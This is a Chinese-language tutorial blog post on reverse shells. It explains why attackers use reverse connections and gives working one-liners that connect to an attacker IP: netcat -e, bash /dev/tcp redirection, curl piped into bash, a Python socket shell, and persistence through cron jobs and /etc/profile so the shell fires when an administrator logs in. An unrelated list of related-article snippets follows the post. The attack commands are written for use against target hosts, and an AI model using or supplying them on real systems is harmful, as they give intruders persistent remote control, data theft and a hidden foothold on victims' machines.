ikun运球新姿势-- 反弹shell

news2025/1/16 20:10:45

目录

反弹Shell

反弹shell的概述

正向连接

反向连接

为什么需要反弹shell

利用netcat反弹shell

利用Bash反弹shell

curl配合Bash反弹shell

将反弹shell的命令写入定时任务

将反弹shell的命令写入/etc/profile文件

python脚本反弹shell


反弹Shell

反弹shell的概述

反弹shell是一种远程控制方式,可以让攻击者在目标主机上执行命令并获得对该主机的远程控制权。攻击者可以通过各种手段(如社工攻击、漏洞利用等)在目标主机上执行恶意脚本,从而获得反弹shell。攻击者可以通过该shell执行任意命令、控制目标主机、窃取数据等。因此,反弹shell是一种高危攻击手段。

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将命令行的输入输出转到攻击机。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标主机,这是正向连接。远程RPC,ssh,telnet,web服务都属于正向连接

反向连接

为什么需要反弹shell

因为正向连接无法利用,我们才用反向连接。以下场景适合反弹shell

  1. 目标主机因为防火墙受限,目标主机只能发送请求,而不能接受请求

  2. 目标主机的端口被占用

  3. 目标主机位于局域网中或者IP经常发生动态变化,攻击者无法直接连接

  4. 我们的病毒、木马,受害者什么时候中招,对方的网络环境未知,什么时间开关机等因素未知

反向连接就是攻击者指定服务器,受害者主机主动连接攻击者的服务端程序,即为反向连接。

利用netcat反弹shell

Netcat(nc)是一个网络工具,可以用来读写网络连接。它可以用来建立网络连接,监听端口,发生UDP数据包,扫描端口、执行端口转发等

Netcat可以在两台计算机之间建立一个简单的网路连接,然后在这两台计算机之间发送数据。它还可以监听指定端口,等到其他计算机连接。

这个工具经常在用在没有可视化工具或没有图形界面的系统上,可以用来读写网路连接,常见用于网络调试,开发还可以用于反弹shell,端口扫描等。

目前,默认的各个Linux发行版本已经自带了netcat工具包,但是可能由于考虑到原生版本的netcat带有可以直接发布与反弹本地shell的功能 -e阉割掉了,所以我们需要自己手动下载二进制安装包。

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的netcat工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击主机上了

攻击主机开启本地监听

kali㉿kali)-[~]
└─$ netcat -lvvp 666 
listening on [any] 666 ...

目标主机主动连接攻击主机

[root@192 ~]# nc 192.168.218.135 666 -e /bin/bash 
# nc <攻击主机的ip> <攻击主机监听的端口> -e /bin/bash

执行效果

利用Bash反弹shell

Bash结合重定向方法构成Bash反弹一句话

bash -i >& /dev/tcp/192.168.218.135/666 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.218.135/666 0>&1"
# bash -i >& /dev/tcp/攻击主机IP/攻击主机端口号 0>&1

命令解析

命令命令详解
bash -i产生一个bash交互环境
>&将联合符号前面的内容与后面相结合,然后一起重定向给后者
/dev/tcp/ip/portLinux下一切皆文件,意思就是让目标主机与攻击主机的某个端口建立一个TCP连接
0>&1将标准输入与标准输出内容相结合,然后重定向给前面标准输出的内容

这条一户话的过程就是:

Bash产生了一个交互环境和本地主机 主动发起了与攻击主机666端口的连接,然后再重定向个TCP 666会话连接,最后将用户键盘输入与用户的标准输出相结合再次重定向给一个标准输出,就可以得到了一个Bash反弹环境。

攻击主机开启本地监听:

(kali㉿kali)-[~]
└─$ netcat -lvvp 666
listening on [any] 666 ...

目标主机主动连接攻击主机:

[root@192 ~]# bash -i >& /dev/tcp/192.168.218.135/666 0>&1

执行效果

curl配合Bash反弹shell

首先,在攻击者vps的web目录里创建一个index文件(index.php或index.html),内容如下

bash -i >& /dev/tcp/ip/port 0>&1

并开启对应端口监听,然后在目标主机上

然后在目标主机上执行如下,即可反弹shell:

curl 192.168.218.135 | bash

注意:curl IP | bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

执行效果

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell脚本,但是我们必须知道用户名是什么。因为我们的反弹shell命令是要写在/var/spool/cron/[crontabs]/<username>内的,所以必须要知道远程主机当前的用户名,否则不生效。

比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/root中。(CentOS系列)

比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/crontabs/root中。(Debian/Ubuntu系列)

*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1
# 每搁一分钟,向指定IP的指定端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/ip/port 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell。

执行效果

python脚本反弹shell

当目标主机上有python环境时,我们可以用python来反弹shell。python在现在一般发行版Linux系统中都会自带,所以用起来比较方便,即使没有安装我们也可以手动安装。

攻击主机监听

nc -lvvp 666

目标主机主动连接主机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

执行效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/158853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

免费的移动硬盘数据恢复软件EasyRcovery15

在日常工作中&#xff0c;移动硬盘可以帮助用户存储重要的文件资料&#xff0c;作为可移动的存储设备&#xff0c;在外出工作时携带起来也比较的方便&#xff0c;而且它的存储空间大&#xff0c;不会出现数据文件过大而无法储存的情况。今天小编就来和大家分享一下&#xff0c;…

算能杯|全国大学生集成电路创新创业大赛开启报名!

第七届全国大学生集成电路创新创业大赛正式开幕&#xff0c;“算能杯”主题是基于TPU芯片的边缘计算系统设计&#xff0c;算能为参赛选手提供了超强算力的开发板、无人机、人工智能小车等硬件资源&#xff0c;欢迎各大高校的开发者报名参与&#xff01; 近几年&#xff0c;边缘…

4-选择题练手

1.在Java中&#xff0c;以下关于方法重载和方法重写描述正确的是A. 方法重载和方法的重写实现的功能相同 B. 方法重载出现在父子关系中&#xff0c;方法重写是在同一类中 C. 方法重载的返回值类型必须一致&#xff0c;参数项必须不同D.方法重写的返回值类型必须相同或相容答&am…

05.rocketmq源码分析后的一些整理

经过近3年的打磨&#xff0c;我们自研的企业基础应用框架基本成型&#xff0c;并且在多家规模企业中全面落地&#xff0c;从最新的统计数据来看&#xff0c;经过一年的上线应用&#xff0c;某省港集团在平台中管理的运营流程接近600/审批事项接近73w&#xff0c;业务消息量就更…

SSM02 Spring 注解开发 AOP Spring整合-事务

19-注解开发定义bean3.2 注解开发定义bean在上述环境的基础上&#xff0c;我们来学一学Spring是如何通过注解实现bean的定义开发?步骤1:删除原XML配置将配置文件中的<bean id"bookDao" class"com.itheima.dao.impl.BookDaoImpl"/>标签删除掉步骤2:D…

麒麟操作系统iso文件中的img文件的解压与压缩

近日考虑到要制作适用PXE的引导麒麟系统&#xff0c;所以需要对iso中的img文件做适当调整。本文将介绍如何解压压缩麒麟系统的img文件。 一、了解vmlinuz和initrd.img文件 vmlinuz&#xff1a;系统内核文件&#xff0c;编译而成。initrd.img&#xff1a;是一个小的文件系统&a…

【redis6】第四章(配置文件)

自定义目录&#xff1a;/etc/redis.conf Units单位 配置大小单位,开头定义了一些基本的度量单位&#xff0c;只支持bytes&#xff0c;不支持bit&#xff0c;大小写不敏感。 # Redis configuration file example. # # Note that in order to read the configuration file, Re…

D3.js基础教程

D3: Data-Driven Documents D3 (或D3.js)是一个JavaScript库&#xff0c;用于使用Web标准可视化数据。 D3帮助您使用SVG&#xff0c;Canvas和HTML使数据栩栩如生。 D3将强大的可视化和交互技术与数据驱动的DOM操作方法相结合&#xff0c;为您提供现代浏览器的全部功能&#xf…

【owt-server】RtpTransportControllerSend的创建和使用

owt-server 5.0 【owt-server】librtcadapter: VideoSendAdapterImpl 视频发送侧及mia 调用分片发送H264帧只是简单的发送发送侧必须有一套传输控制机制这套机制还需要接收测联动。发送侧 NonPacedSender bool VideoSendAdapterImpl::init() 创建 需要首先创建m_transportCont…

如何判断一个数据库是不是出问题了?

我在前面文章中,和你介绍了主备切换流程。通过这些内容的讲解,你应该已经很清楚了:在一主一备的双 M 架构里,主备切换只需要把客户端流量切到备库;而在一主多从架构里,主备切换除了要把客户端流量切到备库外,还需要把从库接到新主库上。 主备切换有两种场景,一种是主动…

Linux系统编程——线程

守护进程 守护进程: daemon进程。通常运行与操作系统后台&#xff0c;脱离控制终端。 一般不与用户直接交互。 周期性的等待某个事件发生或周期性执行某一动作。 不受用户登录注销影响。 通常采用以a结尾的命名方式。守护进程创建步骤; fork子进程&#xff0c;让父进程终止。…

年轻人的颜值担当,当下正流行的开关面板设计,你pick哪一款?

在颜值即正义的时代 越来越多的年轻人选择产品时 除了关注产品的功能外 也愈加愿意为产品的颜值买单近年来&#xff0c;鸿雁从大自然和生活中汲取灵感 以年轻、新鲜、现代的设计风格 赋予开关面板更有格调的外形 引领了墙面上的家居美学 下面&#xff0c;小雁带大家一起从鸿雁热…

微服务调用组件Feign的原理及高级功能实战

目录 一、Fegin的原理 二、Spring Cloud 整合Feign 三、Spring Cloud整合Dubbo 微服务调用组件Feign的原理及高级功能是我们今天分享的主题&#xff0c;此组件可以说是微服务必用的&#xff0c;服务远程调用&#xff0c;属于RPC远程调用的一种&#xff0c;RPC 全称是 Remote …

如何划分子网(例题讲解)

44(12分)设某ISP拥有一个网络地址块201.123.16.0/21,现在该ISP要为A、B、C、D四个组织分配IP地址,其需要的地址数量分别为985、486、246以及211,而且要求将低地址段的 IP 地址分配给 IP 地址需求量大的组织。请给出一个合理的分配方案以满足该需求。要求将各组织所获得的子网地…

2023年,推荐10个让你事半功倍的CSS在线生产力工具

谈到 CSS&#xff0c;您总是必须编写许多代码行&#xff0c;才能使您的项目在样式方面看起来美观大方。当然&#xff0c;专注于为前端编写好的 CSS 很重要&#xff0c;但这个过程可能会花费很多时间。作为 Web 开发人员&#xff0c;CSS 是我们开展项目时必不可少的语言之一。我…

从GPT到chatGPT(一):GPT1

GPT1 文章目录GPT1前言正文模型架构无监督学习有监督学习处理不同特定任务实验训练细节实验结果分析预训练层参数转移的影响zero-shot的表现消融实验总结前言 GPT1&#xff0c;出自于OpenAI的论文《Improving Language Understanding by Generative Pre-Training》&#xff0c…

Serverless介绍

Serverless架构应该是采用FaaS&#xff08;函数即服务&#xff09;和Baas&#xff08;后端即服务&#xff09;服务来解决问题的一种设计 狭义Serverless FaaS BaaS BaaS: Bakend as a Service 负责存储后端即服务&#xff1a;Serverless把后端架构工作包揽下来&#xff0c;硬…

CIO如何控制老板提需求?CIO PLUS

老板乱提需求&#xff0c;员工苦不堪言&#xff0c;职场中经常听到吐槽老板的言论&#xff0c;这个话题很有意思。因为一般老板这个角色基本上是不会管公司具体业务的&#xff0c;公司运营一般都是由专业的职业经理人就是CEO来管理&#xff0c;所以作为公司的老板就更不可能亲自…

Web(五)

JavascriptDOM* 功能&#xff1a;控制html文档的内容* 获取页面标签(元素)对象&#xff1a;Element* document.getElementById("id值"):通过元素的id获取元素对象* 操作Element对象&#xff1a;1. 修改属性值&#xff1a;明确获取的对象是哪一个&#xff1f;查看API文…

【SpringCloud06】SpringCloud Eureka 服务注册与发现

1.Eureka基础知识 1.1什么是服务治理&#xff1f; Spring Cloud 封装了 Netflix 公司开发的 Eureka 模块来实现服务治理 在传统的rpc远程调用框架中&#xff0c;管理每个服务与服务之间依赖关系比较复杂&#xff0c;管理比较复杂&#xff0c;所以需要使用服务治理&#xff0…